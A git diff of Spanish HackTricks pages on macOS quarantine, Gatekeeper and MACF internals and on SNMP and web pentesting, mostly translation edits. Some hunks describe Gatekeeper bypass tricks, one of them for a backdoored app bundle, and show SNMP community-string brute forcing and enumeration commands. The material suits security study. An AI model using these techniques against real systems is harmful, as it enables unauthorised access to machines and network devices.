-La información de cuarentena también se almacena en una base de datos central gestionada por LaunchServices en **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**.
+La información de cuarentena también se almacena en una base de datos central gestionada por LaunchServices en **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**, lo que permite a la GUI obtener datos sobre los orígenes de los archivos. Además, esto puede ser sobrescrito por aplicaciones que podrían estar interesadas en ocultar sus orígenes. Además, esto se puede hacer desde las API de LaunchServices.
+
+#### **libquarantine.dylb**
+
+Esta biblioteca exporta varias funciones que permiten manipular los campos de atributos extendidos.
+
+Las API `qtn_file_*` se ocupan de las políticas de cuarentena de archivos, las API `qtn_proc_*` se aplican a procesos (archivos creados por el proceso). Las funciones no exportadas `__qtn_syscall_quarantine*` son las que aplican las políticas que llaman a `mac_syscall` con "Quarantine" como primer argumento, lo que envía las solicitudes a `Quarantine.kext`.
 
 #### **Quarantine.kext**
 
-La extensión del kernel solo está disponible a través de la **caché del kernel en el sistema**; sin embargo, _puedes_ descargar el **Kernel Debug Kit desde https://developer.apple.com/**, que contendrá una versión simbolizada de la extensión.
+La extensión del kernel solo está disponible a través de la **caché del kernel en el sistema**; sin embargo, _puedes_ descargar el **Kernel Debug Kit de** [**https://developer.apple.com/**](https://developer.apple.com/), que contendrá una versión simbolizada de la extensión.
+
+Este Kext enganchará a través de MACF varias llamadas para atrapar todos los eventos del ciclo de vida del archivo: Creación, apertura, renombrado, enlace duro... incluso `setxattr` para evitar que se establezca el atributo extendido `com.apple.quarantine`.
+
+También utiliza un par de MIBs:
+
+* `security.mac.qtn.sandbox_enforce`: Hacer cumplir la cuarentena junto con Sandbox
+* `security.mac.qtn.user_approved_exec`: Los procesos en cuarentena solo pueden ejecutar archivos aprobados
 
 ### XProtect
 
-XProtect es una función de **anti-malware** integrada en macOS. XProtect **verifica cualquier aplicación cuando se lanza o modifica por primera vez contra su base de datos** de malware conocido y tipos de archivos inseguros. Cuando descargas un archivo a través de ciertas aplicaciones, como Safari, Mail o Messages, XProtect escanea automáticamente el archivo. Si coincide con algún malware conocido en su base de datos, XProtect **impedirá que el archivo se ejecute** y te alertará sobre la amenaza.
+XProtect es una función de **anti-malware** integrada en macOS. XProtect **verifica cualquier aplicación cuando se lanza por primera vez o se modifica contra su base de datos** de malware conocido y tipos de archivos inseguros. Cuando descargas un archivo a través de ciertas aplicaciones, como Safari, Mail o Messages, XProtect escanea automáticamente el archivo. Si coincide con algún malware conocido en su base de datos, XProtect **impedirá que el archivo se ejecute** y te alertará sobre la amenaza.
 
 La base de datos de XProtect se **actualiza regularmente** por Apple con nuevas definiciones de malware, y estas actualizaciones se descargan e instalan automáticamente en tu Mac. Esto asegura que XProtect esté siempre actualizado con las últimas amenazas conocidas.
 
@@ -350,7 +375,7 @@ En este bypass se creó un archivo zip con una aplicación comenzando a comprimi
 ```bash
 zip -r test.app/Contents test.zip
 ```
-Check the [**informe original**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) for more information.
+Consulta el [**informe original**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) para más información.
 
 ### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
 
@@ -371,7 +396,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
 ```
 Además, el formato de archivo **AppleDouble** copia un archivo incluyendo sus ACEs.
 
-En el [**código fuente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) es posible ver que la representación de texto de la ACL almacenada dentro del xattr llamado **`com.apple.acl.text`** se establecerá como ACL en el archivo descomprimido. Así que, si comprimiste una aplicación en un archivo zip con el formato de archivo **AppleDouble** con una ACL que impide que otros xattrs sean escritos en él... el xattr de cuarentena no se estableció en la aplicación:
+En el [**código fuente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) es posible ver que la representación de texto de la ACL almacenada dentro del xattr llamado **`com.apple.acl.text`** se va a establecer como ACL en el archivo descomprimido. Así que, si comprimiste una aplicación en un archivo zip con el formato de archivo **AppleDouble** con una ACL que impide que otros xattrs sean escritos en él... el xattr de cuarentena no se estableció en la aplicación:
 
 {% code overflow="wrap" %}
 ```bash
@@ -411,7 +436,7 @@ aa archive -d test/ -o test.aar
 ```
 {% endcode %}
 
-Ser capaz de crear un archivo que no tendrá el atributo de cuarentena, fue **posible eludir Gatekeeper.** El truco era **crear una aplicación de archivo DMG** utilizando la convención de nombres AppleDouble (comenzar con `._`) y crear un **archivo visible como un enlace simbólico a este archivo oculto** sin el atributo de cuarentena.\
+Al poder crear un archivo que no tendrá el atributo de cuarentena, fue **posible eludir Gatekeeper.** El truco era **crear una aplicación de archivo DMG** utilizando la convención de nombres AppleDouble (comenzar con `._`) y crear un **archivo visible como un enlace simbólico a este archivo oculto** sin el atributo de cuarentena.\
 Cuando se **ejecuta el archivo dmg**, como no tiene un atributo de cuarentena, **eludirá Gatekeeper.**
 ```bash
 # Create an app bundle with the backdoor an call it app.app
@@ -446,8 +471,8 @@ En un paquete ".app", si el xattr de cuarentena no se agrega, al ejecutarlo **Ga
 {% embed url="https://websec.nl/" %}
 
 {% hint style="success" %}
-Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md

@@ -0,0 +1,268 @@
+# macOS MACF
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+{% endhint %}
+
+## Información Básica
+
+**MACF** significa **Marco de Control de Acceso Obligatorio**, que es un sistema de seguridad integrado en el sistema operativo para ayudar a proteger su computadora. Funciona estableciendo **reglas estrictas sobre quién o qué puede acceder a ciertas partes del sistema**, como archivos, aplicaciones y recursos del sistema. Al hacer cumplir estas reglas automáticamente, MACF asegura que solo los usuarios y procesos autorizados puedan realizar acciones específicas, reduciendo el riesgo de acceso no autorizado o actividades maliciosas.
+
+Tenga en cuenta que MACF realmente no toma decisiones, ya que solo **intercepta** acciones, deja las decisiones a los **módulos de política** (extensiones del kernel) que llama como `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext` y `mcxalr.kext`.
+
+### Flujo
+
+1. El proceso realiza una llamada al syscall/trampa mach
+2. Se llama a la función relevante dentro del kernel
+3. La función llama a MACF
+4. MACF verifica los módulos de política que solicitaron enganchar esa función en su política
+5. MACF llama a las políticas relevantes
+6. Las políticas indican si permiten o deniegan la acción
+
+{% hint style="danger" %}
+Apple es el único que puede usar el KPI del Marco MAC.
+{% endhint %}
+
+### Etiquetas
+
+MACF utiliza **etiquetas** que luego las políticas comprobarán si deben otorgar algún acceso o no. El código de la declaración de la estructura de etiquetas se puede [encontrar aquí](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h), que luego se utiliza dentro de la **`struct ucred`** en [**aquí**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) en la parte de **`cr_label`**. La etiqueta contiene banderas y un número de **slots** que pueden ser utilizados por **las políticas de MACF para asignar punteros**. Por ejemplo, Sanbox apuntará al perfil del contenedor.
+
+## Políticas de MACF
+
+Una Política de MACF define **reglas y condiciones que se aplicarán en ciertas operaciones del kernel**.&#x20;
+
+Una extensión del kernel podría configurar una estructura `mac_policy_conf` y luego registrarla llamando a `mac_policy_register`. Desde [aquí](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
+```c
+#define mpc_t	struct mac_policy_conf *
+
+/**
+@brief Mac policy configuration
+
+This structure specifies the configuration information for a
+MAC policy module.  A policy module developer must supply
+a short unique policy name, a more descriptive full name, a list of label
+namespaces and count, a pointer to the registered enty point operations,
+any load time flags, and optionally, a pointer to a label slot identifier.
+
+The Framework will update the runtime flags (mpc_runtime_flags) to
+indicate that the module has been registered.
+
+If the label slot identifier (mpc_field_off) is NULL, the Framework
+will not provide label storage for the policy.  Otherwise, the
+Framework will store the label location (slot) in this field.
+
+The mpc_list field is used by the Framework and should not be
+modified by policies.
+*/
+/* XXX - reorder these for better aligment on 64bit platforms */
+struct mac_policy_conf {
+const char		*mpc_name;		/** policy name */
+const char		*mpc_fullname;		/** full name */
+const char		**mpc_labelnames;	/** managed label namespaces */
+unsigned int		 mpc_labelname_count;	/** number of managed label namespaces */
+struct mac_policy_ops	*mpc_ops;		/** operation vector */
+int			 mpc_loadtime_flags;	/** load time flags */
+int			*mpc_field_off;		/** label slot */
+int			 mpc_runtime_flags;	/** run time flags */
+mpc_t			 mpc_list;		/** List reference */
+void			*mpc_data;		/** module data */
+};
+```
+Es fácil identificar las extensiones del kernel que configuran estas políticas al verificar las llamadas a `mac_policy_register`. Además, al revisar el desensamblado de la extensión, también es posible encontrar la estructura `mac_policy_conf` utilizada.
+
+Tenga en cuenta que las políticas de MACF también se pueden registrar y anular **dinámicamente**.
+
+Uno de los principales campos de `mac_policy_conf` es **`mpc_ops`**. Este campo especifica qué operaciones le interesan a la política. Tenga en cuenta que hay cientos de ellas, por lo que es posible establecer todas en cero y luego seleccionar solo las que le interesan a la política. Desde [aquí](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac\_policy.h.auto.html):
+```c
+struct mac_policy_ops {
+mpo_audit_check_postselect_t		*mpo_audit_check_postselect;
+mpo_audit_check_preselect_t		*mpo_audit_check_preselect;
+mpo_bpfdesc_label_associate_t		*mpo_bpfdesc_label_associate;
+mpo_bpfdesc_label_destroy_t		*mpo_bpfdesc_label_destroy;
+mpo_bpfdesc_label_init_t		*mpo_bpfdesc_label_init;
+mpo_bpfdesc_check_receive_t		*mpo_bpfdesc_check_receive;
+mpo_cred_check_label_update_execve_t	*mpo_cred_check_label_update_execve;
+mpo_cred_check_label_update_t		*mpo_cred_check_label_update;
+[...]
+```
+Casi todos los hooks serán llamados por MACF cuando una de esas operaciones sea interceptada. Sin embargo, los hooks **`mpo_policy_*`** son una excepción porque `mpo_hook_policy_init()` es un callback llamado al registrarse (después de `mac_policy_register()`) y `mpo_hook_policy_initbsd()` se llama durante el registro tardío una vez que el subsistema BSD se ha inicializado correctamente.
+
+Además, el hook **`mpo_policy_syscall`** puede ser registrado por cualquier kext para exponer una llamada de estilo **ioctl** **interface** privada. Luego, un cliente de usuario podrá llamar a `mac_syscall` (#381) especificando como parámetros el **nombre de la política** con un **código** entero y **argumentos** opcionales.\
+Por ejemplo, el **`Sandbox.kext`** utiliza esto mucho.
+
+Revisando el **`__DATA.__const*`** del kext es posible identificar la estructura `mac_policy_ops` utilizada al registrar la política. Es posible encontrarla porque su puntero está en un desplazamiento dentro de `mpo_policy_conf` y también debido a la cantidad de punteros NULL que habrá en esa área.
+
+Además, también es posible obtener la lista de kexts que han configurado una política volcando de la memoria la estructura **`_mac_policy_list`** que se actualiza con cada política que se registra.
+
+## Inicialización de MACF
+
+MACF se inicializa muy pronto. Se configura en el `bootstrap_thread` de XNU: después de `ipc_bootstrap` se llama a `mac_policy_init()` que inicializa la `mac_policy_list` y momentos después se llama a `mac_policy_initmach()`. Entre otras cosas, esta función obtendrá todos los kexts de Apple con la clave `AppleSecurityExtension` en su Info.plist como `ALF.kext`, `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext` y `TMSafetyNet.kext` y los carga.
+
+## Llamadas de MACF
+
+Es común encontrar llamadas a MACF definidas en el código como: bloques condicionales **`#if CONFIG_MAC`**. Además, dentro de estos bloques es posible encontrar llamadas a `mac_proc_check*` que llama a MACF para **verificar permisos** para realizar ciertas acciones. Además, el formato de las llamadas de MACF es: **`mac_<object>_<opType>_opName`**.
+
+El objeto es uno de los siguientes: `bpfdesc`, `cred`, `file`, `proc`, `vnode`, `mount`, `devfs`, `ifnet`, `inpcb`, `mbuf`, `ipq`, `pipe`, `sysv[msg/msq/shm/sem]`, `posix[shm/sem]`, `socket`, `kext`.\
+El `opType` suele ser check que se utilizará para permitir o denegar la acción. Sin embargo, también es posible encontrar `notify`, que permitirá al kext reaccionar a la acción dada.
+
+Puedes encontrar un ejemplo en [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_mman.c#L621](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_mman.c#L621):
+
+<pre class="language-c"><code class="lang-c">int
+mmap(proc_t p, struct mmap_args *uap, user_addr_t *retval)
+{
+[...]
+#if CONFIG_MACF
+<strong>			error = mac_file_check_mmap(vfs_context_ucred(ctx),
+</strong>			    fp->fp_glob, prot, flags, file_pos + pageoff,
+&#x26;maxprot);
+if (error) {
+(void)vnode_put(vp);
+goto bad;
+}
+#endif /* MAC */
+[...]
+</code></pre>
+
+Luego, es posible encontrar el código de `mac_file_check_mmap` en [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_file.c#L174](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_file.c#L174)
+```c
+mac_file_check_mmap(struct ucred *cred, struct fileglob *fg, int prot,
+int flags, uint64_t offset, int *maxprot)
+{
+int error;
+int maxp;
+
+maxp = *maxprot;
+MAC_CHECK(file_check_mmap, cred, fg, NULL, prot, flags, offset, &maxp);
+if ((maxp | *maxprot) != *maxprot) {
+panic("file_check_mmap increased max protections");
+}
+*maxprot = maxp;
+return error;
+}
+```
+El cual está llamando al macro `MAC_CHECK`, cuyo código se puede encontrar en [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_internal.h#L261](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_internal.h#L261)
+```c
+/*
+* MAC_CHECK performs the designated check by walking the policy
+* module list and checking with each as to how it feels about the
+* request.  Note that it returns its value via 'error' in the scope
+* of the caller.
+*/
+#define MAC_CHECK(check, args...) do {                              \
+error = 0;                                                      \
+MAC_POLICY_ITERATE({                                            \
+if (mpc->mpc_ops->mpo_ ## check != NULL) {              \
+DTRACE_MACF3(mac__call__ ## check, void *, mpc, int, error, int, MAC_ITERATE_CHECK); \
+int __step_err = mpc->mpc_ops->mpo_ ## check (args); \
+DTRACE_MACF2(mac__rslt__ ## check, void *, mpc, int, __step_err); \
+error = mac_error_select(__step_err, error);         \
+}                                                           \
+});                                                             \
+} while (0)
+```
+Which will go over all the registered mac policies calling their functions and storing the output inside the error variable, which will only be overridable by `mac_error_select` by success codes so if any check fails the complete check will fail and the action won't be allowed.
+
+{% hint style="success" %}
+Sin embargo, recuerda que no todos los llamados de MACF se utilizan solo para denegar acciones. Por ejemplo, `mac_priv_grant` llama al macro [**MAC\_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_internal.h#L274), que otorgará el privilegio solicitado si alguna política responde con un 0:
+```c
+/*
+* MAC_GRANT performs the designated check by walking the policy
+* module list and checking with each as to how it feels about the
+* request.  Unlike MAC_CHECK, it grants if any policies return '0',
+* and otherwise returns EPERM.  Note that it returns its value via
+* 'error' in the scope of the caller.
+*/
+#define MAC_GRANT(check, args...) do {                              \
+error = EPERM;                                                  \
+MAC_POLICY_ITERATE({                                            \
+if (mpc->mpc_ops->mpo_ ## check != NULL) {                  \
+DTRACE_MACF3(mac__call__ ## check, void *, mpc, int, error, int, MAC_ITERATE_GRANT); \
+int __step_res = mpc->mpc_ops->mpo_ ## check (args); \
+if (__step_res == 0) {                              \
+error = 0;                                  \
+}                                                   \
+DTRACE_MACF2(mac__rslt__ ## check, void *, mpc, int, __step_res); \
+}                                                           \
+});                                                             \
+} while (0)
+```
+{% endhint %}
+
+### priv\_check & priv\_grant
+
+Estas llamadas están destinadas a verificar y proporcionar (decenas de) **privilegios** definidos en [**bsd/sys/priv.h**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/priv.h).\
+Algún código del kernel llamaría a `priv_check_cred()` desde [**bsd/kern/kern\_priv.c**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_priv.c) con las credenciales KAuth del proceso y uno de los códigos de privilegios que llamará a `mac_priv_check` para ver si alguna política **niega** otorgar el privilegio y luego llama a `mac_priv_grant` para ver si alguna política otorga el `privilegio`.
+
+### proc\_check\_syscall\_unix
+
+Este gancho permite interceptar todas las llamadas al sistema. En `bsd/dev/[i386|arm]/systemcalls.c` es posible ver la función declarada [`unix_syscall`](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/dev/arm/systemcalls.c#L160C1-L167C25), que contiene este código:
+```c
+#if CONFIG_MACF
+if (__improbable(proc_syscall_filter_mask(proc) != NULL && !bitstr_test(proc_syscall_filter_mask(proc), syscode))) {
+error = mac_proc_check_syscall_unix(proc, syscode);
+if (error) {
+goto skip_syscall;
+}
+}
+#endif /* CONFIG_MACF */
+```
+Que verificará en el **bitmask** del proceso que llama si la syscall actual debería llamar a `mac_proc_check_syscall_unix`. Esto se debe a que las syscalls se llaman con tanta frecuencia que es interesante evitar llamar a `mac_proc_check_syscall_unix` cada vez.
+
+Tenga en cuenta que la función `proc_set_syscall_filter_mask()`, que establece el bitmask de las syscalls en un proceso, es llamada por Sandbox para establecer máscaras en procesos en sandbox.
+
+## Syscalls MACF expuestas
+
+Es posible interactuar con MACF a través de algunas syscalls definidas en [security/mac.h](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac.h#L151):
+```c
+/*
+* Extended non-POSIX.1e interfaces that offer additional services
+* available from the userland and kernel MAC frameworks.
+*/
+#ifdef __APPLE_API_PRIVATE
+__BEGIN_DECLS
+int      __mac_execve(char *fname, char **argv, char **envv, mac_t _label);
+int      __mac_get_fd(int _fd, mac_t _label);
+int      __mac_get_file(const char *_path, mac_t _label);
+int      __mac_get_link(const char *_path, mac_t _label);
+int      __mac_get_pid(pid_t _pid, mac_t _label);
+int      __mac_get_proc(mac_t _label);
+int      __mac_set_fd(int _fildes, const mac_t _label);
+int      __mac_set_file(const char *_path, mac_t _label);
+int      __mac_set_link(const char *_path, mac_t _label);
+int      __mac_mount(const char *type, const char *path, int flags, void *data,
+struct mac *label);
+int      __mac_get_mount(const char *path, struct mac *label);
+int      __mac_set_proc(const mac_t _label);
+int      __mac_syscall(const char *_policyname, int _call, void *_arg);
+__END_DECLS
+#endif /*__APPLE_API_PRIVATE*/
+```
+## Referencias
+
+* [**\*OS Internals Volume III**](https://newosxbook.com/home.html)
+
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Apoya a HackTricks</summary>
+
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+
+</details>
+{% endhint %}

network-services-pentesting/pentesting-snmp/README.md

@@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -34,7 +34,7 @@ SNMP también utiliza el puerto **162/UDP** para **traps**. Estos son datos **pa
 
 ### MIB
 
-Para asegurar que el acceso SNMP funcione entre diferentes fabricantes y con diferentes combinaciones de cliente-servidor, se creó la **Base de Información de Gestión (MIB)**. MIB es un **formato independiente para almacenar información del dispositivo**. Un MIB es un **archivo de texto** en el que se enumeran todos los **objetos SNMP** consultables de un dispositivo en una jerarquía de árbol **estandarizada**. Contiene al **menos un `Identificador de Objeto` (`OID`)**, que, además de la **dirección única** necesaria y un **nombre**, también proporciona información sobre el tipo, derechos de acceso y una descripción del respectivo objeto.\
+Para asegurar que el acceso SNMP funcione entre fabricantes y con diferentes combinaciones de cliente-servidor, se creó la **Base de Información de Gestión (MIB)**. MIB es un **formato independiente para almacenar información del dispositivo**. Un MIB es un **archivo de texto** en el que se enumeran todos los **objetos SNMP** consultables de un dispositivo en una jerarquía de árbol **estandarizada**. Contiene al **menos un `Identificador de Objeto` (`OID`)**, que, además de la **dirección única** necesaria y un **nombre**, también proporciona información sobre el tipo, derechos de acceso y una descripción del respectivo objeto.\
 Los archivos MIB están escritos en el formato de texto ASCII basado en `Notación de Sintaxis Abstracta Uno` (`ASN.1`). Los **MIB no contienen datos**, pero explican **dónde encontrar qué información** y cómo se ve, qué valores devuelve para el OID específico, o qué tipo de datos se utiliza.
 
 ### OIDs
@@ -144,7 +144,7 @@ Gracias a las consultas extendidas (download-mibs), es posible enumerar aún má
 ```bash
 snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
 ```
-**SNMP** tiene mucha información sobre el host y cosas que pueden resultar interesantes son: **Interfaces de red** (dirección **IPv4** y **IPv6**), Nombres de usuario, Tiempo de actividad, Versión del servidor/SO, y **procesos**
+**SNMP** tiene mucha información sobre el host y cosas que pueden resultar interesantes son: **Interfaces de red** (dirección **IPv4** y **IPv6**), Nombres de usuario, Tiempo de actividad, Versión del servidor/SO y **procesos**
 
 **en ejecución** (puede contener contraseñas)....
 
@@ -243,9 +243,9 @@ Si hay una ACL que solo permite que algunas IPs consulten el servicio SNMP, pued
 * snmpd.conf
 * snmp-config.xml
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
+Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 

network-services-pentesting/pentesting-snmp/cisco-snmp.md

@@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
 
 ## Pentesting Cisco Networks
 
-**SNMP** funciona sobre UDP con los puertos 161/UDP para mensajes generales y 162/UDP para mensajes de trampa. Este protocolo se basa en cadenas de comunidad, que sirven como contraseñas que permiten la comunicación entre agentes y servidores SNMP. Estas cadenas son fundamentales ya que determinan los niveles de acceso, específicamente **permisos de solo lectura (RO) o lectura-escritura (RW)**. Un vector de ataque notable para los pentesters es el **fuerza bruta de cadenas de comunidad**, con el objetivo de infiltrarse en dispositivos de red.
+**SNMP** funciona sobre UDP con puertos 161/UDP para mensajes generales y 162/UDP para mensajes de trampa. Este protocolo se basa en cadenas de comunidad, que sirven como contraseñas que permiten la comunicación entre agentes y servidores SNMP. Estas cadenas son fundamentales ya que determinan los niveles de acceso, específicamente **permisos de solo lectura (RO) o lectura-escritura (RW)**. Un vector de ataque notable para los pentesters es el **fuerza bruta de cadenas de comunidad**, con el objetivo de infiltrarse en dispositivos de red.
 
 Una herramienta práctica para ejecutar tales ataques de fuerza bruta es [**onesixtyone**](https://github.com/trailofbits/onesixtyone), que requiere una lista de posibles cadenas de comunidad y las direcciones IP de los objetivos:
 ```bash
@@ -52,7 +52,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
 
 * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -68,7 +68,7 @@ Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt
 
 * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
 * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
 
 </details>
 {% endhint %}

network-services-pentesting/pentesting-web/README.md

@@ -15,7 +15,7 @@ Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -23,7 +23,7 @@ Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable -
 
 ## Información Básica
 
-El servicio web es el más **común y extenso** y existen muchos **tipos diferentes de vulnerabilidades**.
+El servicio web es el **servicio más común y extenso** y existen muchos **tipos diferentes de vulnerabilidades**.
 
 **Puerto por defecto:** 80 (HTTP), 443(HTTPS)
 ```bash
@@ -51,7 +51,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 * [ ] ¿Usando alguna **tecnología bien conocida**? ¿Algún **truco útil** para extraer más información?
 * [ ] ¿Algún **escáner especializado** para ejecutar (como wpscan)?
